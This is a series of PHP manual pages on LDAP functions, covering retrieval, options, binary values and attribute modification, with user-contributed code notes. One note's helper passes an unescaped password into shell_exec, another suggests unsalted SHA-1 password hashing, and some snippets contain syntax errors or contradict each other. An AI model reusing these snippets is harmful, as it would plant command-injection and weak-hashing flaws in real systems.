    for ( $i = 0; $i < $entry['count']; $i++ ) {
        $attribute = $entry[$i];
        if ( $entry[$attribute]['count'] == 1 ) {
            $retEntry[$attribute] = $entry[$attribute][0];
        } else {
            for ( $j = 0; $j < $entry[$attribute]['count']; $j++ ) {
                $retEntry[$attribute][] = $entry[$attribute][$j];
            }
        }
    }
    return $retEntry;
}
?>
reuben dot helms at gmail dot com 07-Feb-2006 10:13
Helmuts programming example is incorrect.

PHP arrays start from zero, so your first entry is $entry[0] and your last entry is $entry[$entry["count"] - 1].

$entry[$entry["count"]] will never exist, thus his usage of is_null.

Helmuts usage of is_null is not elegant, its just poor understanding of arrays.

Save some confusion and remove Helmuts entry and this one.
Jim Granger <tenor at jimgranger.com> 24-Jun-2005 11:27
Another way of ignoring the last null entry would be to subtract one from the iteration count like this:

for($i = 0; $i < count($result_array) - 1; $i++)
{
     ...
}

Helmut's method is far more elegant on its own but what I do is combine the above with the null test that he suggested. It may seem like overkill, but better safe than sorry.
helmut dot patay at scandio dot de 22-Apr-2004 12:57
If you loop over the entries, like
$entries = ldap_get_entries( $ds, $sr );
watch out!
you have to check with is_null the last entry
because you will get one entry more than the search found,
but the last one will be null
so you are safe if you do:
for ( $i = 0; $i < count( $entries ); $i++ ) {
    if ( is_null( $entries[ $i ] ) ) continue;
    ...
}
Ovidiu Geaboc <ogeaboc at rdanet.com> 13-Nov-2003 04:59
I have found that ldap_get_entries() function doesn't handle binary data correctly.  I had to write my own using ldap_get_values_len().

// will use ldap_get_values_len() instead and build the array
// note: it's similar with the array returned by
// ldap_get_entries() except it has no "count" elements
$i=0;
$entry = ldap_first_entry($this->conn, $this->srchRslt);
do {
     $attributes = ldap_get_attributes($this->conn, $entry);
     for($j=0; $j<$attributes['count']; $j++) {
        $values = ldap_get_values_len($this->conn, $entry,$attributes[$j]);
        $this->rawData[$i][$attributes[$j]] = $values;
     }
     $i++;
    }
while ($entry = ldap_next_entry($this->conn, $entry));
//we're done
return ($this->rawData);
mackstann / mack%at%incise%dot%org 04-Sep-2003 08:50
I find the ["count"] items in these arrays highly annoying, so I made a function to remove them recursively:

function rCountRemover($arr) {
  foreach($arr as $key=>$val) {
    # (int)0 == "count", so we need to use ===
    if($key === "count")
      unset($arr[$key]);
    elseif(is_array($val))
      $arr[$key] = rCountRemover($arr[$key]);
  }
  return $arr;
}
reaper at sci dot fi 18-Jun-2003 03:09
If you're dealing with Active Directory and need to get values like 'lastlogon', 'pwdlastset' or similar, you'll notice that AD gives the values as Windows FILETIME timestamps. That means, the values are 100-nanosecond units passed since 1.1.1600 00:00:00.

 To convert these to unix timestamps which PHP's date functions understand, one easy way would be the following :

function win_filetime_to_timestamp ($filetime) {

  $win_secs = substr($filetime,0,strlen($filetime)-7); // divide by 10 000 000 to get seconds
  $unix_timestamp = ($win_secs - 11644473600); // 1.1.1600 -> 1.1.1970 difference in seconds
  return $unix_timestamp;
}
pmichaud at pobox dot com 10-Feb-2002 03:43
Actually, the fact that ldap_get_entries returns attribute names as lowercase is really annoying, because ldap_get_attributes apparently does not.  This is really annoying, especially when having arrays of attribute names and having to worry about which call was used to retrieve entries from LDAP.
c dot green at its dot uq dot edu dot au 17-Aug-2001 01:25
In response to the first message ldap_get_entries, I think there is some confusion with the dynamic typing of php.

If the result is a string doing $foo[0] will return the first character of the string.

In the case of an array $foo[0] will return the entire first element.

Its not to do with the 'dn' in particular, rather the fact that the dn is a scalar value (ie a string) rather than an array, and the indexing works differently in either case.

For debugging purposes I would recommend using something like :

$value = is_array($foo) ? $foo[0] : $foo;

or

$value = is_array($foo) ? implode($foo, $delimiter) : $foo;
oscara at hinux dot hin dot no 15-May-2001 06:51
Note: ldap_get_entries returns true even if no results are found, like this:

echo $entries=ldap_get_entries(...);

will print Array.

You have to check for number of row in the Array like this:

if($entries["count"]==0) return false;

Hope this helped someone...
john at petbrain dot com 20-Dec-2000 07:24
Just a note: an multidemnsional array is like an array with in an array.... you have myArray[2]-> can refer to something like dc=americas,dc=icm,dc=org

Basically you have more elements that are buried with in one element of the parent array[], myArray[2]

So, thats why you see myArray[1]["dn"][0] ... pulling out the first element in myArray[1] and rollover the first element in it.
cbrent at orix dot com dot au 18-Apr-2000 07:03
Note that ldap_get_entries return an associative array with the attributes in lower case.  So for example the givenName ldap attribute is associated with $ldap[0]["givenname"][0] (for the first given name for the first result) this is a little confusing at first.


Get the current value for given option

  • « ldap_get_entries
  • ldap_get_values_len »
  • PHP Manual
  • LDAP Functions
  • Get the current value for given option

ldap_get_option

(PHP 4 >= 4.0.4, PHP 5)

ldap_get_option — Get the current value for given option

Description

bool ldap_get_option ( resource $link_identifier , int $option , mixed &$retval )

Sets retval to the value of the specified option.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

option

The parameter option can be one of:

Option | Type
LDAP_OPT_DEREF | integer
LDAP_OPT_SIZELIMIT | integer
LDAP_OPT_TIMELIMIT | integer
LDAP_OPT_NETWORK_TIMEOUT | integer
LDAP_OPT_PROTOCOL_VERSION | integer
LDAP_OPT_ERROR_NUMBER | integer
LDAP_OPT_REFERRALS | bool
LDAP_OPT_RESTART | bool
LDAP_OPT_HOST_NAME | string
LDAP_OPT_ERROR_STRING | string
LDAP_OPT_MATCHED_DN | string
LDAP_OPT_SERVER_CONTROLS | array
LDAP_OPT_CLIENT_CONTROLS | array

retval

This will be set to the option value.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Check protocol version

<?php
// $ds is a valid link identifier for a directory server
if (ldap_get_option($ds, LDAP_OPT_PROTOCOL_VERSION, $version)) {
    echo "Using protocol version $version\n";
} else {
    echo "Unable to determine protocol version\n";
}
?>

Notes

Note:

This function is only available when using OpenLDAP 2.x.x OR Netscape Directory SDK x.x.

See Also

  • ldap_set_option() - Set the value of the given option

User Contributed Notes

Jeremy S 03-Jul-2013 08:37
Here is how to tell if an Active Directory user account expired:

define('LDAP_OPT_DIAGNOSTIC_MESSAGE', 0x0032);

ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($conn, LDAP_OPT_REFERRALS, 0);

$bind = ldap_bind($conn, $user, $pass);

ldap_get_option($conn, LDAP_OPT_DIAGNOSTIC_MESSAGE, $extended_error);

if (!empty($extended_error))
{
    $errno = explode(',', $extended_error)[2];
    $errno = explode(' ', $errno)[2];
    $errno = intval($errno);

    if ($errno == 532)
        $err = 'Unable to login: Password expired.';
}


Get all binary values from a result entry

  • « ldap_get_option
  • ldap_get_values »
  • PHP Manual
  • LDAP Functions
  • Get all binary values from a result entry

ldap_get_values_len

(PHP 4, PHP 5)

ldap_get_values_len — Get all binary values from a result entry

Description

array ldap_get_values_len ( resource $link_identifier , resource $result_entry_identifier , string $attribute )

Reads all the values of the attribute in the entry in the result.

This function is used exactly like ldap_get_values() except that it handles binary data and not string data.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_entry_identifier

attribute

Return Values

Returns an array of values for the attribute on success and FALSE on error. Individual values are accessed by integer index in the array. The first index is 0. The number of values can be found by indexing "count" in the resultant array.

See Also

  • ldap_get_values() - Get all values from a result entry

User Contributed Notes

ashwini at majestik dot net 10-Apr-2013 07:52
Just a minor update to the note below from "jhgustafsson" regarding the "objectGUID" field...

Going a step further, sometimes its useful to display this GUID as a String, and Microsoft has a support article and script detailing how to convert objectGUID from Hex to String. That article is here: http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B325649

Below is a PHP function that does the same thing as Microsoft's VB script, it takes input of objectGUID in binary format and returns it formatted as a string (after converting it to Hex as a middle step). This will return the exact "objectGUID" value that is displayed for any Active Directory object in ADUC.

Example output: 3f79048f-42cd-4c77-8426-835cd9f8a3ad

function GUIDtoStr($binary_guid) {
  $hex_guid = unpack("H*hex", $binary_guid);
  $hex = $hex_guid["hex"];

  $hex1 = substr($hex, -26, 2) . substr($hex, -28, 2) . substr($hex, -30, 2) . substr($hex, -32, 2);
  $hex2 = substr($hex, -22, 2) . substr($hex, -24, 2);
  $hex3 = substr($hex, -18, 2) . substr($hex, -20, 2);
  $hex4 = substr($hex, -16, 4);
  $hex5 = substr($hex, -12, 12);

  $guid_str = $hex1 . "-" . $hex2 . "-" . $hex3 . "-" . $hex4 . "-" . $hex5;

  return $guid_str;
}
Stav 21-Apr-2011 02:38
I had a lot of issues with decoding errors using ldap_get_values_len() and found a of unanswered calls for help on a lot of forums.

The error message is - Warning: ldap_get_values(): Cannot get the value(s) of attribute Decoding error in xxx.php.

It appears that this error seems to cover a multitude sins including simple typos in the attribute name.

After using PHP to list the attributes of a particular record I noticed that the attribute userCertificate wasn't listed simply as userCertificate but userCertificate;binary instead.  I wrote this into my code and all was fixed.

So my code looks as follows.

<?php
        if (!$val = @ldap_get_values_len($con, $entry, "$attribute;binary"))
                die ('Error retrieving value (' . ldap_error($con) . ')');
?>

I hope this saves someone the pain I went through trawling Google for an answer.
jhgustafsson at gmail dot com 02-Jun-2009 12:07
Tried a couple of different ways to do this but this seems to work best:

<?php
$info = ldap_first_entry($ds,$sr);

// get it binary-safe.
$bin_guid = ldap_get_values_len($ds,$info,"objectguid");

// convert to hex, bin2hex failed here for me. Unpack() seems to work though.
$hex_guid = unpack("H*hex", $bin_guid[0]);
?>
alexey_baranov at inbox dot ru 02-Apr-2009 01:26
no more need to use ldap_get_values_len (). ldap_get_attributes() works well now.

<?php
$attrs = ldap_get_attributes($this->cid, $this->re);
$hex_Sid= bin2hex($attrs['objectSid'][0]); //returns 010500000000000515000000c94d7d363d787b17e77b80109d060000
$hex_GUID= bin2hex($attrs['objectGUID'][0]); //returns 710234bbc2abc148ade8c1f9b4567b24
?>
derek dot ethier at gmail dot com 07-Mar-2007 08:25
One more function to add that complements the bin_to_str_guid function I posted below:

// This function will convert a string GUID value into a HEX value to search AD.
function str_to_hex_guid($str_guid) {
    $str_guid = str_replace('-', '', $str_guid);

    $octet_str = substr($str_guid, 6, 2);
    $octet_str .= substr($str_guid, 4, 2);
    $octet_str .= substr($str_guid, 2, 2);
    $octet_str .= substr($str_guid, 0, 2);
    $octet_str .= substr($str_guid, 10, 2);
    $octet_str .= substr($str_guid, 8, 2);
    $octet_str .= substr($str_guid, 14, 2);
    $octet_str .= substr($str_guid, 12, 2);
    $octet_str .= substr($str_guid, 16, strlen($str_guid));

    return $octet_str;
}

If you want to convert the string GUID back to the HEX format (required if you want to search AD based on the GUID string, make sure you escape the HEX string with double backslashes when searching -- ie. \\AE\\0F\\88...).
derek dot ethier at gmail dot com 13-Feb-2007 04:49
To elaborate on rcrow's post, if you want to convert the objectSID value to a usable string (from Active Directory) the following function will do the trick (this was borrowed from another section of the manual, just thought I'd add it here):

// Returns the textual SID
function bin_to_str_sid($binsid) {
    $hex_sid = bin2hex($binsid);
    $rev = hexdec(substr($hex_sid, 0, 2));
    $subcount = hexdec(substr($hex_sid, 2, 2));
    $auth = hexdec(substr($hex_sid, 4, 12));
    $result    = "$rev-$auth";

    for ($x=0;$x < $subcount; $x++) {
        $subauth[$x] =
            hexdec($this->little_endian(substr($hex_sid, 16 + ($x * 8), 8)));
        $result .= "-" . $subauth[$x];
    }

    // Cheat by tacking on the S-
    return 'S-' . $result;
}

// Converts a little-endian hex-number to one, that 'hexdec' can convert
function little_endian($hex) {
    for ($x = strlen($hex) - 2; $x >= 0; $x = $x - 2) {
        $result .= substr($hex, $x, 2);
    }
    return $result;
}

This function is not related to the ldap_get_values_len function but is still helpful if you want to convert the objectGUID binary value to a string format (converted from some vbscript provided by Richard Mueller):

// This function will convert a binary value guid into a valid string.
function bin_to_str_guid($object_guid) {
    $hex_guid = bin2hex($object_guid);
    $hex_guid_to_guid_str = '';
    for($k = 1; $k <= 4; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 8 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-';
    for($k = 1; $k <= 2; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 12 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-';
    for($k = 1; $k <= 2; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 16 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-' . substr($hex_guid, 16, 4);
    $hex_guid_to_guid_str .= '-' . substr($hex_guid, 20);

    return strtoupper($hex_guid_to_guid_str);
}

Here's an example on how to use both:

$filter="samaccountname=".$username;
$fields=array("objectguid","objectsid");

//establish the connection and specify the base_dn first. there are a lot of examples in the manual for this

$sr=ldap_search($this->_conn,$this->_base_dn,$filter,$fields);
$entries = ldap_get_entries($this->_conn, $sr);

if (in_array("objectguid", $fields)) {
    $entries[0]["objectguid"][0]=
        $this->bin_to_str_guid($entries[0]["objectguid"][0]);
}

if (in_array("objectsid", $fields)) {
    $entry = ldap_first_entry($this->_conn, $sr);
    $objectsid_binary = ldap_get_values_len($this->_conn, $entry, "objectsid");
    $entries[0]["objectsid"][0] = $this->bin_to_str_sid($objectsid_binary[0]);
}

Hope this helps someone!
rcrow at NOSPAM dot laptv dot com 30-Apr-2004 02:06
If you are trying to access BINARY DATA, such as ObjectSID within LDAP, you must first get an individual entry, as stated under ldap_get_values() function -- "This call needs a result_entry_identifier, so needs to be preceded by one of the ldap search calls and one of the calls to get an individual entry."

The following code snippet will get the LDAP objectSID for a specific user.

<?php
/* Get the binary objectsid entry                                           */
/* Be sure that you have included the binary field in your ldap_search.    */
$criteria =  "samaccountname=$ldapUser";
$justthese = array("memberOf", "objectsid");

$ldapSearchResult = ldap_search($ldapConnectionResult, $ldapBase, $criteria, $justthese);

if (ldap_count_entries($ldapConnectionResult, $ldapSearchResult)){
     $ldapResults = ldap_get_entries($ldapConnectionResult, $ldapSearchResult);

   $entry = ldap_first_entry($ldapConnectionResult, $ldapSearchResult);
   $ldapBinary = ldap_get_values_len ($ldapConnectionResult, $entry, "objectsid");

/* your code here */

}
?>

You then can use something like bin2hex to put the data in a more usable form.


Get all values from a result entry

  • « ldap_get_values_len
  • ldap_list »
  • PHP Manual
  • LDAP Functions
  • Get all values from a result entry

ldap_get_values

(PHP 4, PHP 5)

ldap_get_values — Get all values from a result entry

Description

array ldap_get_values ( resource $link_identifier , resource $result_entry_identifier , string $attribute )

Reads all the values of the attribute in the entry in the result.

This call needs a result_entry_identifier, so needs to be preceded by one of the ldap search calls and one of the calls to get an individual entry.

You application will either be hard coded to look for certain attributes (such as "surname" or "mail") or you will have to use the ldap_get_attributes() call to work out what attributes exist for a given entry.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_entry_identifier

attribute

Return Values

Returns an array of values for the attribute on success and FALSE on error. The number of values can be found by indexing "count" in the resultant array. Individual values are accessed by integer index in the array. The first index is 0.

LDAP allows more than one entry for an attribute, so it can, for example, store a number of email addresses for one person's directory entry all labeled with the attribute "mail"

    return_value["count"] = number of values for attribute
    return_value[0] = first value of attribute
    return_value[i] = ith value of attribute

Examples

Example #1 List all values of the "mail" attribute for a directory entry

<?php
// $ds is a valid link identifier for a directory server

// $sr is a valid search result from a prior call to
//     one of the ldap directory search calls

// $entry is a valid entry identifier from a prior call to
//        one of the calls that returns a directory entry

$values = ldap_get_values($ds, $entry, "mail");

echo $values["count"] . " email addresses for this entry.<br />";

for ($i=0; $i < $values["count"]; $i++) {
    echo $values[$i] . "<br />";
}
?>

See Also

  • ldap_get_values_len() - Get all binary values from a result entry

User Contributed Notes

viper_sb at IGETTOMUCHSPAMhotmail dot com 25-Mar-2003 03:24
Well this took me a while to find the problem, so I'm posting in case someone else runs in to this.

$sr = ldap_search($ds, "cn=me", "(objectclass=*)");
$entry = ldap_first_entry($ds, $sr);
do {
  // do other stuff
  $sr = "something else now";
  $values = ldap_get_values($ds, $entry, "attirib1");
  // do other stuff
} while ($entry = ldap_next_entry($ds, $entry));

If you change the search resource $sr to something else even though it's not used again it will kill the page it'll be a blank page and if you view the code you'll get different things depending on something no idea what.

This kepted happening I had forgotten I had used $sr so I was using it again and it would just not show the page whenever I used ldap_get_values, if this is a feature it would be nice to know. I haven't seen it happen with other functions.
software at inebria dot com 21-Jun-2001 07:34
It wasn't immediately obvious to me that the ldap_get_values function does not work with binary data - only strings.  If you fetch binary data with ldap_get_values you don't get a warning - just some trash.  For binary data you have to use ldap_get_values_len.


Single-level search

  • « ldap_get_values
  • ldap_mod_add »
  • PHP Manual
  • LDAP Functions
  • Single-level search

ldap_list

(PHP 4, PHP 5)

ldap_list — Single-level search

Description

resource ldap_list ( resource $link_identifier , string $base_dn , string $filter [, array $attributes [, int $attrsonly [, int $sizelimit [, int $timelimit [, int $deref ]]]]] )

Performs the search for a specified filter on the directory with the scope LDAP_SCOPE_ONELEVEL.

LDAP_SCOPE_ONELEVEL means that the search should only return information that is at the level immediately below the base_dn given in the call. (Equivalent to typing "ls" and getting a list of files and folders in the current working directory.)

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

base_dn

The base DN for the directory.

filter

attributes

An array of the required attributes, e.g. array("mail", "sn", "cn"). Note that the "dn" is always returned irrespective of which attributes types are requested.

Using this parameter is much more efficient than the default action (which is to return all attributes and their associated values). The use of this parameter should therefore be considered good practice.

attrsonly

Should be set to 1 if only attribute types are wanted. If set to 0 both attributes types and attribute values are fetched which is the default behaviour.

sizelimit

Enables you to limit the count of entries fetched. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset sizelimit. You can set it lower though.

Some directory server hosts will be configured to return no more than a preset number of entries. If this occurs, the server will indicate that it has only returned a partial results set. This also occurs if you use this parameter to limit the count of fetched entries.

timelimit

Sets the number of seconds how long is spend on the search. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset timelimit. You can set it lower though.

deref

Specifies how aliases should be handled during the search. It can be one of the following:

  • LDAP_DEREF_NEVER - (default) aliases are never dereferenced.
  • LDAP_DEREF_SEARCHING - aliases should be dereferenced during the search but not when locating the base object of the search.
  • LDAP_DEREF_FINDING - aliases should be dereferenced when locating the base object but not during the search.
  • LDAP_DEREF_ALWAYS - aliases should be dereferenced always.

Return Values

Returns a search result identifier or FALSE on error.

Changelog

Version | Description
4.0.5 | Parallel searches support was added. See ldap_search() for details.

Examples

Example #1 Produce a list of all organizational units of an organization

<?php
// $ds is a valid link identifier for a directory server

$basedn = "o=My Company, c=US";
$justthese = array("ou");

$sr = ldap_list($ds, $basedn, "ou=*", $justthese);

$info = ldap_get_entries($ds, $sr);

for ($i=0; $i < $info["count"]; $i++) {
    echo $info[$i]["ou"][0];
}
?>

See Also

  • ldap_search() - Search LDAP tree

User Contributed Notes

There are no user contributed notes for this page.


Add attribute values to current attributes

  • « ldap_list
  • ldap_mod_del »
  • PHP Manual
  • LDAP Functions
  • Add attribute values to current attributes

ldap_mod_add

(PHP 4, PHP 5)

ldap_mod_add — Add attribute values to current attributes

Description

bool ldap_mod_add ( resource $link_identifier , string $dn , array $entry )

Adds one or more attributes to the specified dn. It performs the modification at the attribute level as opposed to the object level. Object-level additions are done by the ldap_add() function.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

entry

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is binary-safe.

See Also

  • ldap_mod_del() - Delete attribute values from current attributes
  • ldap_mod_replace() - Replace attribute values with new ones

User Contributed Notes

bart-holland at wedefo dot nl 07-Nov-2013 12:44
Adding a user to a group in Apple's OpenDirectory goes as follows:

<?php

$dn = "cn=groupname,cn=groups,dc=example,dc=com";
$entry['memberuid'] = "username";

ldap_mod_add($connect, $dn, $entry);

?>
theiderich AT laweekly dot com 16-Jul-2005 12:17
When adding/editing attributes for a user, the 'memberof' attribute is a special case.  The memberOf attribute is not an accessible attribute of the user schema. To add someone to a group, you have to add the user in the group, and not the group in the user. You can do this by accessing the group attribute 'member':

<?php

$group_name = "CN=MyGroup,OU=Groups,DC=example,DC=com";
$group_info['member'] = $dn; // User's DN is added to group's 'member' array
ldap_mod_add($connect,$group_name,$group_info);

?>
Claudio Lente <nelchael at ig dot com dot br> 26-Feb-2003 11:03
Using PHP 4.2.3 with IIS 5 and Win2k Server. My confs are:

$ldap_srvr = 'servername' ;
$ldap_port = 389;
$ldap_con = ldap_connect($ldap_srvr, $ldap_port);
$ldap_rdn  = "username";
$ldap_pwd = "__password__";

$ldap_vbind = ldap_bind($ldap_con, $ldap_rdn, $ldap_pwd);

$base_dn= 'CN=username,CN=Users,DC=domain,DC=org,DC=us
' ;
$ldap_filter= 'objectClass=*';

$info['mail']='username@domain.org.us';

ldap_mod_add($ldap_con, $base_dn, $info);
ldap_add($ldap_con, $base_dn, $info);

this generate an error:
- Warning: LDAP: modify operation could not be completed. in

ldap_modify($ldap_con, $base_dn, $info);

this function corretly.

It�s all.
JoshuaStarr at aelana dot com 31-Aug-2001 07:52
To add a new attribute with a single value:

$entry[mail] = "newmail@aelana.com";
$results = ldap_mod_add($ldapConnID, $dn, $entry);

To add a new attribute with multiple values:

$entry[mail][] = "newmail@aelana.com";
$entry[mail][] = "altnewmail@aelana.com";
$results = ldap_mod_add($ldapConnID, $dn, $entry);


Delete attribute values from current attributes

  • « ldap_mod_add
  • ldap_mod_replace »
  • PHP Manual
  • LDAP Functions
  • Delete attribute values from current attributes

ldap_mod_del

(PHP 4, PHP 5)

ldap_mod_del — Delete attribute values from current attributes

Description

bool ldap_mod_del ( resource $link_identifier , string $dn , array $entry )

Removes one or more attributes from the specified dn. It performs the modification at the attribute level as opposed to the object level. Object-level deletions are done by the ldap_delete() function.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

entry

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ldap_mod_add() - Add attribute values to current attributes
  • ldap_mod_replace() - Replace attribute values with new ones

User Contributed Notes

bart-holland at wedefo dot nl 08-Nov-2013 12:27
Te remove a user from a group in Apple's Open Directory, you need to also remove the members generated uid from the group.

Removing the users is as follows:

<?php

//setting variables
$ldapDN = "uid=myadmin,cn=users,dc=myserver,dc=com';
$ldapPass = "somepass";

$groupDn = 'cn=mygroup,cn=groups,dc=myserver,dc=com'
$removal = array(
    "memberuid"=>"username",
    "apple-group-memberguid"=>"846DE847-D73D-428D-83A8-B95B606C511B"
);

//connect and bind
$ldapconnect = ldap_connect("myserver.com",389);
ldap_bind($ldapconnect, $ldapDN, $ldapPass);

//removing member from group
ldap_mod_del($ldapconnect, $groupDn, $removal);

//unbind
ldap_unbind($ldapconnect);

?>
jonatam dot ribeiro at hotmail dot com 07-May-2013 11:44
We often need to delete "objectclass" below follows a simple code to make this successful removal.

$userdataModifydelSamba = array();
$userdataModifydelSamba['objectClass'] = array();
$userdataModifydelSamba['objectClass'][0] = 'sambaSamAccount';

$userdataModifydelSamba['sambasid'] = array();
$userdataModifydelSamba['sambantpassword'] = array();
$userdataModifydelSamba['sambahomedrive'] = array();
$userdataModifydelSamba['sambadomainname'] = array();
$userdataModifydelSamba['sambaacctflags'] = array();
$userdataModifydelSamba['sambaprimarygroupsid'] = array();
$userdataModifydelSamba['sambapwdlastset'] = array();

$sucess = @ldap_mod_del($connection, $dn, $result);
if(!$sucess)
{
   throw new Exception("error " . ldap_err2str(ldap_errno($connection)));
}
06-Apr-2006 05:35
For anyone interested in removing a user from a group, you can use ldap_mod_del() as follows:

$group = 'CN=mygroup,OU=myOU,DC=mydomain,DC=com';

$group_info['member'] = 'CN=User\, Test,CN=Users,DC=mydomain,DC=com';

ldap_mod_del($ldap, $group, $group_info);

I have tested this using Active Directory on a Win 2K3 server.
thomas dot thiel at tapgmbh dot com 09-Dec-2002 05:42
and please don't forget:
you can't delete all attributes, when at least one is required.
JoshuaStarr at aelana dot com 14-May-2002 07:24
The above example has also been proven to work in the iPlanet / Sun One Directory Server 5.0/5.1. As an example:

$attrs["mail"] = array();
ldap_mod_del($ldapConnID,$dn,$attrs);

or

$attrs["mail"] = array();
$attrs["telephonenumber"] = array();
ldap_mod_del($ldapConnID,$dn,$attrs);

This will remove all occurences of attributes in the entry specified by the dn.
ral at royal dot net 30-Aug-2001 05:09
At least with OpenLDAP 1.2.x
to remove an attribute regardless of it's value you have to assign:

$attrs["AttributeName"]=array();

after ldap_mod_del($ds,$dn,$attrs)
all occurences of AttributeName will be removed
ral at royal dot net 22-Jul-2001 07:33
To remove all instances of an attribute:

$entry["attrname"][]="value1";
$entry["attrname"][]="value2";
...
$entry["attrname"][]="valueN";

ldap_mod_del($ds, $dn, $entry);
twopairs at solfy dot com 22-Jul-2001 02:05
<pre>
uid: testuser
mail: testuser@test.net
mail: testuser@somewhere.com
</pre>

How to remove the values of mail so that only the second value for mail exists:

<pre>
$entry["mail"] = "testuser@test.net";
$result = ldap_mod_del($connID, $dn, $entry);
</pre>

if you want to remove all instances of an attribute.....
==>
<pre>
$entry["mail"][0] = "testuser@test.net";
$entry["mail"][1] = "testuser@somewhere.net";
$result = ldap_mod_del($connID, $dn, $entry);
</pre>

are not?
sam_freund at yahoo dot com 05-Dec-2000 09:11
Using ldap_modify with a blank string works if you aren't propagating your LDAP database, even though it returns the error. Still, I'd say don't do it, as it smacks of something that will be fixed in a future version.
mark at cushman dot net 20-Nov-2000 06:17
I have found that the syntax:

$entry["mail"] = "";

Will NOT delete the mail attribute using the OpenLDAP server.  You must specify the attribute value to delete it successfully, otherwise you will recieve an "Invalid Syntax" error from the server.

The error: "Inappropriate Matching" will be displayed if the attribute you are trying to delete has no equality rule in the schema.  I had a problem deleting the attribute facsimilieTelephoneNumber, and it was because my core.schema file did not have an EQUALITY definition for that attribute.  I copied the telephoneNumber EQUALITY rule and it worked perfectly.
arjanw at bigfoot dot com 08-Aug-2000 08:15
To remove all instances of an attribute you can use ldap_modify with an empty value for that attribute.

$entry["mail"] = "";
$result = ldap_modify($connID, $dn, $entry);
arimus at apu dot edu 28-Apr-2000 04:35
After a couple hours of searching and not finding anything on the ldap_mod_del function worth anything, I started trying to figure out myself what format the "array entry" parameter needed to be in.  Here is what I found:

The entry array is a hash with the attribute name as the hash key and the specific value you want deleted for that attribute as the corresponding hash value.

-- Example

Current values for the attributes of of a particular entry:

     uid: testuser
     mail: testuser@test.net
     mail: testuser@somewhere.com

How to remove the first value of mail so that only the second value for mail exists:

     $entry["mail"] = "testuser@test.net";
     $result = ldap_mod_del($connID, $dn, $entry);

So if you want to remove all instances of an attribute, you have to do it one by one.


Replace attribute values with new ones

  • « ldap_mod_del
  • ldap_modify_batch »
  • PHP Manual
  • LDAP Functions
  • Replace attribute values with new ones

ldap_mod_replace

(PHP 4, PHP 5)

ldap_mod_replace — Replace attribute values with new ones

Description

bool ldap_mod_replace ( resource $link_identifier , string $dn , array $entry )

Replaces one or more attributes from the specified dn. It performs the modification at the attribute level as opposed to the object level. Object-level modifications are done by the ldap_modify() function.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

entry

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is binary-safe.

See Also

  • ldap_mod_del() - Delete attribute values from current attributes
  • ldap_mod_add() - Add attribute values to current attributes

User Contributed Notes

dynamik 15-Feb-2013 03:11
Using this function to 'replace' an Active Directory password requires the "Reset Password" security permission as opposed to the "Change Password" permission (which is assigned by default to SELF)
Anonymous 01-Jun-2012 05:32
this can not be used to change a password on an AD server that requires you to send the old and new password.

in order to do this use on shuts an sever make an admin-account that allows to change other ppl pw without suppling the old password first.
plex909 01-Oct-2008 12:23
Here's an easy way to encode AD "unicodepwd" values from linux...

Download and install recode...
http://www.gnu.org/software/recode/recode.html

Then write something like this...
<?php
function ADUnicodePwdValue($plain_txt_value)
{
    return str_replace("\n", "", shell_exec("echo -n '\"" . $plain_txt_value . "\"' | recode latin1..utf-16le/base64"));
}

$user["unicodepwd"] = ADUnicodePwdValue("my_password");

?>

[EDITOR thiago NOTE: The following text was sent by boyvanderlaak at gmail dot com as an important complement]

if you do not have access to your linux box but have Multibyte String enabled you could try the following for AD 2008:

<?php
$info["unicodePwd"] = mb_convert_encoding('"' . $newPassword . '"', 'utf-16le');
?>
chris at mr2madness dot com 18-Sep-2007 04:44
You can use arrays for multiple attributes example:

<?php
$entry[mail] = array("example@example.com","example2@example.com");
$results = ldap_mod_add($ldapConnID,$dn, $entry);
?>
or as i did for creating anew user:
<?php
$adduserAD["objectClass"] = array("top","person","organizationalPerson","user");
?>
mike dot rosile at interzonegames dot com 20-Jul-2007 06:01
Here is some great information from the OpenLDAP FAQs regarding changing a userPassword attribute with PHP:

http://www.openldap.org/faq/data/cache/347.html

$userpassword = "{SHA}" . base64_encode( pack( "H*", sha1( $pass ) ) );
aaronfulton at softhome dot net 04-Dec-2006 05:24
Before you modify values in your ldap directory, first make sure that you have permission to do so.  In openldap adding the following acl in slap.conf will allow the user to modify their own userpassword.

access to attr=userPassword
        by self write
        by anonymous auth
        by * none
erwann at zeflip dot com 04-Oct-2006 07:41
If you do not wish to set up SSL on your active directory, and you are running on Windows, you can use COM and ADSI to set the new password for a user, or to active a user:

<?PHP
// to set a user password
  // server is the ldap server
  // newuser_dn is the full dn of the user you want to modify
  // newuser_password is the password you wish to set for the user

    $ADSI = new COM("LDAP:");
    $user = $ADSI->OpenDSObject("LDAP://".$server."/".$newuser_dn, $adminuser, $adminpassword, 1);
    $user->SetPassword($newuser_password);
    $user->SetInfo();

// to activate a user
    $ADSI = new COM("LDAP:");
    $user = $ADSI->OpenDSObject("LDAP://".$server."/".$newuser_dn, $adminuser, $adminpassword, 1);
    $user->AccountDisabled = false;
    $user->SetInfo();

?>
frederic dot jacquot at insa-lyon dot fr 09-Jun-2004 01:26
Changing a user password in Active Directory.
Securely connect (using ldaps) to the Active Directory and bind using an administrator account.

